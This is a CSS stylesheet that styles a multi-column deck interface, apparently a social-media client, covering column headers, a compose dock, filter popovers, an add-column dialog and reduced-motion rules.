.bt-deck-pager { display: flex; align-items: center; gap: 2px; padding: 2px; border-radius: 999px; background: var(--bt-field); box-shadow: inset 0 0 0 1px var(--bt-line-soft); }
.bt-deck-pager .bt-icon { width: 24px; height: 24px; border-radius: 999px; }
.bt-deck-pager .bt-glyph { width: 13px; height: 13px; }
.bt-deck-dot { width: 18px; height: 24px; padding: 0; border: 0; background: transparent; cursor: pointer; position: relative; }
.bt-deck-dot::after { content: ""; position: absolute; left: 50%; top: 50%; width: 6px; height: 6px; margin: -3px 0 0 -3px; border-radius: 999px; background: var(--bt-line-strong); transition: width var(--bt-t2) var(--bt-ease-out), margin var(--bt-t2) var(--bt-ease-out), background-color var(--bt-t1) var(--bt-ease); }
.bt-deck-dot:hover::after { background: var(--bt-muted); }
.bt-deck-dot.is-on::after { width: 14px; margin-left: -7px; background: var(--bt-accent); } /* rtl-ok: centred with left: 50% */
.bt-deck-memory { color: var(--bt-muted); font: 500 11px/1 var(--bt-mono); padding: 5px 8px; border-radius: 7px; background: rgba(238, 240, 247, .04); }
.bt-deck-action { display: inline-flex; align-items: center; gap: 6px; height: 28px; padding-block: 0; padding-inline: 9px 11px; border: 0; border-radius: 8px; background: rgba(238, 240, 247, .05); box-shadow: inset 0 0 0 1px rgba(238, 240, 247, .06); color: var(--bt-text-2); font: 550 12.5px/1 var(--bt-ui); cursor: pointer; transition: background-color var(--bt-t1) var(--bt-ease), color var(--bt-t1) var(--bt-ease); }
.bt-deck-action .bt-glyph { width: 14px; height: 14px; }
.bt-deck-action:hover { background: rgba(238, 240, 247, .09); color: var(--bt-text); }
.bt-deck-action.is-on { background: var(--bt-accent-soft); box-shadow: inset 0 0 0 1px rgba(29, 155, 240, .38); color: var(--bt-accent-ink); }
.bt-deck-settings { width: 28px; height: 28px; }
.bt-deck-settings .bt-glyph { width: 15px; height: 15px; }
/* Columns row ------------------------------------------------------------------------------- */
.bt-deck-row { position: relative; flex: 1; min-height: 0; margin: 0 8px; }
.bt-col, .bt-compose {
position: absolute; top: 0; bottom: 0; display: flex; flex-direction: column; box-sizing: border-box;
border-radius: 12px 12px 0 0; background: var(--bt-chrome); box-shadow: inset 0 0 0 1px var(--bt-line-soft);
--bt-col-account: var(--bt-accent);
}
/* Motion never transforms a column's body: the webview is placed on the body's rectangle, so only
opacity (the card) and the header move. */
.bt-col { animation: bt-fade-in var(--bt-t3) var(--bt-ease-out) both; }
.bt-col > .bt-col-head { animation: bt-col-in var(--bt-t3) var(--bt-ease-out) both; }
.bt-col.is-leaving { animation: bt-col-out 180ms var(--bt-ease) forwards; pointer-events: none; }
.bt-col.is-leaving > .bt-col-head { animation: bt-col-head-out 180ms var(--bt-ease) forwards; }
@keyframes bt-col-in { from { opacity: 0; transform: translateY(8px); } }
@keyframes bt-col-out { to { opacity: 0; } }
@keyframes bt-col-head-out { to { transform: translateY(-6px); } }
.bt-col-head, .bt-compose-head {
position: relative; flex: none; display: flex; align-items: center; gap: 8px; height: 46px; padding-block: 0; padding-inline: 8px 6px;
border-radius: 12px 12px 0 0; border-bottom: 1px solid var(--bt-line-soft);
background: linear-gradient(180deg, rgba(238, 240, 247, .025), transparent);
}
/* The focused column: an accent line on top and a lifted header. */
.bt-col-head::before, .bt-compose-head::before {
content: ""; position: absolute; left: 12px; right: 12px; top: 0; height: 2px; border-radius: 0 0 2px 2px;
background: var(--bt-brush); opacity: 0; transform: scaleX(.6); transition: opacity var(--bt-t2) var(--bt-ease), transform var(--bt-t3) var(--bt-ease-out);
}
.bt-col.is-focused .bt-col-head::before, .bt-compose-head::before { opacity: 1; transform: none; }
.bt-col.is-focused { box-shadow: inset 0 0 0 1px rgba(29, 155, 240, .32); }
.bt-col.is-focused .bt-col-head { background: linear-gradient(180deg, rgba(29, 155, 240, .08), rgba(29, 155, 240, 0)); }
.bt-col-glyph {
display: grid; place-items: center; flex: none; width: 28px; height: 28px; border-radius: 8px; padding: 0; border: 0;
background: color-mix(in srgb, var(--bt-col-account) 16%, transparent); box-shadow: inset 0 0 0 1px color-mix(in srgb, var(--bt-col-account) 30%, transparent);
color: color-mix(in srgb, var(--bt-col-account) 55%, #ffffff);
}
.bt-col-glyph .bt-glyph { width: 15px; height: 15px; }
.bt-col-back { cursor: pointer; background: rgba(238, 240, 247, .07); box-shadow: inset 0 0 0 1px rgba(238, 240, 247, .1); color: var(--bt-text); transition: background-color var(--bt-t1) var(--bt-ease); }
.bt-col-back:hover { background: rgba(238, 240, 247, .12); }
.bt-col-titles { display: flex; flex-direction: column; gap: 3px; min-width: 0; }
.bt-col-titles strong { font: 650 13.5px/1.1 var(--bt-ui); letter-spacing: -.01em; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.bt-col-titles span { color: var(--bt-muted); font: 450 11.5px/1.1 var(--bt-ui); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.bt-col-fill { flex: 1; min-width: 4px; }
.bt-col-unread {
flex: none; min-width: 22px; height: 20px; padding: 0 7px; box-sizing: border-box; border: 0; border-radius: 999px; cursor: pointer;
background: var(--bt-accent); color: #fff; font: 700 11px/20px var(--bt-mono); letter-spacing: -.02em;
box-shadow: 0 0 0 3px rgba(29, 155, 240, .16), 0 4px 12px -4px rgba(29, 155, 240, .8);
animation: bt-unread-in var(--bt-t3) var(--bt-ease-out);
}
.bt-col-unread:hover { filter: brightness(1.12); }
@keyframes bt-unread-in { from { transform: scale(.6); opacity: 0; } }
.bt-col-account { display: grid; place-items: center; flex: none; padding: 2px; border-radius: 999px; box-shadow: 0 0 0 1.5px color-mix(in srgb, var(--bt-col-account) 70%, transparent); }
.bt-col-btn { width: 28px; height: 28px; border-radius: 8px; color: var(--bt-muted); }
.bt-col-btn .bt-glyph { width: 15px; height: 15px; }
.bt-col-btn:hover { color: var(--bt-text); }
.bt-col-btn.is-active { color: var(--bt-accent-ink); background: var(--bt-accent-soft); }
.bt-col-key { position: absolute; inset-inline-end: 6px; top: 4px; color: var(--bt-faint); font: 600 9px/1 var(--bt-mono); opacity: 0; transition: opacity var(--bt-t1) var(--bt-ease); pointer-events: none; }
.bt-col-head:hover .bt-col-key { opacity: .8; }
.bt-col-progress { position: absolute; left: 0; right: 0; bottom: -1px; height: 2px; overflow: hidden; }
.bt-col-progress::after { content: ""; position: absolute; top: 0; bottom: 0; width: 40%; background: linear-gradient(90deg, transparent, var(--bt-accent), transparent); animation: bt-col-load 1.1s var(--bt-ease) infinite; }
@keyframes bt-col-load { from { left: -40%; } to { left: 100%; } }
.bt-col-body { position: relative; flex: 1; min-height: 0; background: #000; }
.bt-col-hint { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 10px; color: var(--bt-faint); font: 500 12px/1 var(--bt-ui); }
/* Compose dock ------------------------------------------------------------------------------ */
.bt-compose { right: 0; animation: bt-fade-in var(--bt-t3) var(--bt-ease-out) both; box-shadow: inset 0 0 0 1px rgba(29, 155, 240, .28), -18px 0 40px -24px rgba(0, 0, 0, .8); }
.bt-compose > .bt-compose-head { animation: bt-slide-in var(--bt-t3) var(--bt-ease-out) both; }
.bt-compose-glyph { --bt-col-account: var(--bt-accent); }
.bt-compose-accounts { display: flex; gap: 2px; padding: 2px; border-radius: 999px; background: var(--bt-field); }
.bt-compose-accounts button { display: grid; place-items: center; padding: 2px; border: 0; border-radius: 999px; background: transparent; cursor: pointer; opacity: .55; transition: opacity var(--bt-t1) var(--bt-ease); }
.bt-compose-accounts button:hover { opacity: .9; }
.bt-compose-accounts button.is-on { opacity: 1; box-shadow: 0 0 0 1.5px var(--bt-accent); }
/* Popovers (filters, column menu) --------------------------------------------------------------- */
.bt-deck-pop { gap: 2px; }
.bt-deck-pop-head { display: flex; align-items: center; gap: 8px; padding: 8px 8px 10px; }
.bt-deck-pop-head .bt-glyph { width: 15px; height: 15px; color: var(--bt-accent); }
.bt-deck-pop-head strong { font: 650 13px/1 var(--bt-ui); }
.bt-deck-pop-head span { margin-inline-start: auto; color: var(--bt-faint); font: 500 11.5px/1 var(--bt-ui); max-width: 55%; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.bt-deck-terms { display: flex; flex-direction: column; gap: 8px; padding: 0 4px 6px; }
.bt-deck-input { height: 32px; padding: 0 10px; border: 0; border-radius: 8px; background: var(--bt-field); box-shadow: inset 0 0 0 1px var(--bt-line); color: var(--bt-text); font: 450 12.5px/1 var(--bt-mono); outline: none; user-select: text; }
.bt-deck-input:focus { box-shadow: var(--bt-ring); }
.bt-deck-chips { display: flex; flex-wrap: wrap; gap: 5px; max-height: 120px; overflow-y: auto; scrollbar-width: thin; }
.bt-deck-chip { display: inline-flex; align-items: center; gap: 2px; max-width: 100%; height: 24px; padding-block: 0; padding-inline: 9px 2px; border-radius: 999px; background: rgba(238, 240, 247, .06); box-shadow: inset 0 0 0 1px rgba(238, 240, 247, .07); font: 500 12px/1 var(--bt-ui); }
.bt-deck-chip > span { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.bt-deck-chip.is-regex { font-family: var(--bt-mono); color: #d7c6ff; background: rgba(168, 85, 247, .12); box-shadow: inset 0 0 0 1px rgba(168, 85, 247, .25); }
.bt-menu .bt-deck-chip button { width: 20px; height: 20px; padding: 0; justify-content: center; border-radius: 999px; }
.bt-deck-chip .bt-glyph { width: 11px; height: 11px; }
.bt-deck-check { display: flex; align-items: flex-start; gap: 10px; padding: 7px 8px; border-radius: 8px; cursor: pointer; }
.bt-deck-check:hover { background: var(--bt-hover); }
.bt-deck-check input { position: absolute; opacity: 0; pointer-events: none; }
.bt-deck-check-box { display: grid; place-items: center; flex: none; width: 16px; height: 16px; margin-top: 1px; border-radius: 5px; box-shadow: inset 0 0 0 1.5px var(--bt-line-strong); color: transparent; transition: background-color var(--bt-t1) var(--bt-ease); }
.bt-deck-check-box .bt-glyph { width: 11px; height: 11px; stroke-width: 2.4; }
.bt-deck-check input:checked + .bt-deck-check-box { background: var(--bt-accent); box-shadow: none; color: #fff; }
.bt-deck-check input:focus-visible + .bt-deck-check-box { box-shadow: var(--bt-ring); }
.bt-deck-check-text { display: flex; flex-direction: column; gap: 3px; }
.bt-deck-check-text strong { font: 550 12.5px/1.1 var(--bt-ui); }
.bt-deck-check-text small { color: var(--bt-muted); font: 400 11.5px/1.2 var(--bt-ui); }
.bt-deck-widths { display: flex; align-items: center; gap: 2px; padding-block: 4px; padding-inline: 10px 6px; color: var(--bt-muted); font: 500 12px/1 var(--bt-ui); }
.bt-deck-widths > span { margin-inline-end: auto; }
.bt-menu .bt-deck-widths button { height: 24px; padding: 0 6px; border-radius: 6px; color: var(--bt-muted); font: 500 11px/1 var(--bt-mono); }
.bt-menu .bt-deck-widths button.is-on { background: var(--bt-accent-soft); color: var(--bt-accent-ink); }
/* Buttons ----------------------------------------------------------------------------------- */
.bt-deck-primary, .bt-deck-secondary {
display: inline-flex; align-items: center; justify-content: center; gap: 7px; height: 34px; padding: 0 14px; border: 0; border-radius: 9px; cursor: pointer;
font: 600 13px/1 var(--bt-ui); transition: filter var(--bt-t1) var(--bt-ease), background-color var(--bt-t1) var(--bt-ease);
}
.bt-deck-primary { background: var(--bt-accent); color: #fff; box-shadow: 0 6px 18px -8px rgba(29, 155, 240, .9), inset 0 1px 0 rgba(255, 255, 255, .18); }
.bt-deck-primary:hover:not(:disabled) { filter: brightness(1.08); }
.bt-deck-primary:disabled { opacity: .45; cursor: default; }
.bt-deck-primary .bt-glyph { width: 15px; height: 15px; stroke-width: 2.2; }
.bt-deck-secondary { background: rgba(238, 240, 247, .06); box-shadow: inset 0 0 0 1px rgba(238, 240, 247, .08); color: var(--bt-text-2); }
.bt-deck-secondary:hover:not(:disabled) { background: rgba(238, 240, 247, .1); color: var(--bt-text); }
.bt-deck-secondary:disabled { opacity: .45; cursor: default; }
/* Empty deck -------------------------------------------------------------------------------- */
.bt-deck-empty { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 12px; padding: 24px; text-align: center; }
.bt-deck-empty h2 { margin: 6px 0 0; font: 700 22px/1.1 var(--bt-ui); letter-spacing: -.02em; }
.bt-deck-empty p { margin: 0; max-width: 420px; color: var(--bt-muted); font: 400 13.5px/1.5 var(--bt-ui); }
.bt-deck-empty-actions { display: flex; flex-wrap: wrap; justify-content: center; gap: 8px; margin-top: 8px; }
.bt-deck-empty-keys { display: flex; align-items: center; gap: 6px 18px; flex-wrap: wrap; justify-content: center; margin-top: 10px !important; font-size: 12px !important; color: var(--bt-faint) !important; }
.bt-deck-empty-keys > span { display: inline-flex; align-items: center; gap: 6px; white-space: nowrap; }
.bt-deck-empty-art { display: flex; gap: 6px; height: 64px; align-items: flex-end; }
.bt-deck-empty-art span { width: 30px; border-radius: 7px 7px 2px 2px; background: linear-gradient(180deg, rgba(79, 107, 255, .5), rgba(34, 211, 238, .12)); box-shadow: inset 0 0 0 1px rgba(159, 211, 255, .2); animation: bt-rise var(--bt-t3) var(--bt-ease-out) both; }
.bt-deck-empty-art span:nth-child(1) { height: 64px; }
.bt-deck-empty-art span:nth-child(2) { height: 52px; }
.bt-deck-empty-art span:nth-child(3) { height: 58px; }
.bt-deck-empty-art span:nth-child(4) { height: 44px; background: linear-gradient(180deg, rgba(168, 85, 247, .5), rgba(168, 85, 247, .1)); }
/* Add column dialog ------------------------------------------------------------------------- */
.bt-addcol { width: min(680px, 100%); max-height: min(84vh, 640px); overflow-y: auto; }
.bt-addcol-head { display: flex; align-items: baseline; gap: 8px; padding-block: 18px 6px; padding-inline: 20px 16px; }
.bt-addcol-head h2 { margin: 0; font: 700 17px/1.1 var(--bt-ui); letter-spacing: -.015em; }
.bt-addcol-head > span { color: var(--bt-muted); font-size: 12.5px; }
.bt-addcol-head .bt-icon { margin-inline-start: auto; align-self: center; }
.bt-addcol-types { display: grid; grid-template-columns: repeat(4, minmax(0, 1fr)); gap: 8px; padding: 10px 16px 6px; }
.bt-addcol-type {
display: flex; flex-direction: column; align-items: flex-start; gap: 6px; min-height: 96px; padding: 12px; border: 0; border-radius: 11px; cursor: pointer; text-align: start;
background: rgba(238, 240, 247, .035); box-shadow: inset 0 0 0 1px rgba(238, 240, 247, .06); color: var(--bt-text-2);
transition: background-color var(--bt-t1) var(--bt-ease), box-shadow var(--bt-t1) var(--bt-ease), transform var(--bt-t2) var(--bt-ease-out);
}
.bt-addcol-type:hover { background: rgba(238, 240, 247, .06); }
.bt-addcol-type:active { transform: scale(.985); }
.bt-addcol-type.is-on { background: var(--bt-accent-soft); box-shadow: inset 0 0 0 1.5px rgba(29, 155, 240, .6); color: var(--bt-text); }
.bt-addcol-type strong { font: 650 13.5px/1.1 var(--bt-ui); color: var(--bt-text); }
.bt-addcol-type small { color: var(--bt-muted); font: 400 11.5px/1.35 var(--bt-ui); }
.bt-addcol-icon { display: grid; place-items: center; width: 28px; height: 28px; border-radius: 8px; background: rgba(238, 240, 247, .06); color: var(--bt-muted); }
.bt-addcol-type.is-on .bt-addcol-icon { background: rgba(29, 155, 240, .22); color: #bfe0ff; }
.bt-addcol-icon .bt-glyph { width: 15px; height: 15px; }
.bt-addcol-value { display: flex; flex-direction: column; gap: 8px; padding: 10px 16px 4px; }
.bt-addcol-value label, .bt-addcol-label { color: var(--bt-faint); font: 600 10.5px/1 var(--bt-ui); letter-spacing: .08em; text-transform: uppercase; }
.bt-addcol-field { display: flex; align-items: center; gap: 10px; height: 42px; padding: 0 12px; border-radius: 10px; background: var(--bt-field); box-shadow: inset 0 0 0 1px var(--bt-line); }
.bt-addcol-field:focus-within { box-shadow: var(--bt-ring); }
.bt-addcol-field.is-bad { box-shadow: 0 0 0 1px rgba(229, 72, 77, .7); }
.bt-addcol-field .bt-glyph { color: var(--bt-muted); }
.bt-addcol-field input { flex: 1; min-width: 0; border: 0; background: transparent; color: var(--bt-text); font: 500 14px/1 var(--bt-mono); outline: none; user-select: text; }
.bt-addcol-field input::placeholder { color: var(--bt-faint); }
.bt-addcol-chips { display: flex; flex-wrap: wrap; gap: 6px; }
.bt-addcol-chips button { height: 26px; padding: 0 10px; border: 0; border-radius: 999px; background: rgba(238, 240, 247, .06); box-shadow: inset 0 0 0 1px rgba(238, 240, 247, .08); color: var(--bt-text-2); font: 500 12px/1 var(--bt-mono); cursor: pointer; }
.bt-addcol-chips button[aria-selected=true] { background: var(--bt-accent-soft); color: var(--bt-accent-ink); box-shadow: inset 0 0 0 1px rgba(29, 155, 240, .35); }
.bt-addcol-error { margin: 0; color: #ff9a9e; font-size: 12px; }
.bt-addcol-accounts { display: flex; flex-direction: column; gap: 8px; padding: 12px 16px 8px; }
.bt-addcol-accounts > div { display: flex; flex-wrap: wrap; gap: 6px; }
.bt-addcol-account { display: inline-flex; align-items: center; gap: 8px; height: 34px; padding-block: 0; padding-inline: 6px 12px; border: 0; border-radius: 999px; cursor: pointer; background: rgba(238, 240, 247, .04); box-shadow: inset 0 0 0 1px rgba(238, 240, 247, .07); color: var(--bt-text-2); font: 550 12.5px/1 var(--bt-ui); }
.bt-addcol-account:hover { background: rgba(238, 240, 247, .08); }
.bt-addcol-account.is-on { box-shadow: inset 0 0 0 1.5px var(--bt-col-account); color: var(--bt-text); background: color-mix(in srgb, var(--bt-col-account) 12%, transparent); }
.bt-addcol-account em { color: var(--bt-faint); font: italic 400 11px/1 var(--bt-ui); }
.bt-addcol-foot { display: flex; align-items: center; gap: 14px; padding: 12px 16px 16px; color: var(--bt-muted); font-size: 11.5px; }
.bt-addcol-foot > span { display: inline-flex; align-items: center; gap: 6px; }
@media (max-width: 620px) { .bt-addcol-types { grid-template-columns: repeat(2, minmax(0, 1fr)); } }
@media (prefers-reduced-motion: reduce) {
.bt-col, .bt-col > .bt-col-head, .bt-col.is-leaving, .bt-compose, .bt-compose > .bt-compose-head, .bt-col-unread, .bt-deck-empty-art span { animation: none !important; }
.bt-col.is-leaving { opacity: 0; }
}

Some files were not shown because too many files have changed in this diff Show more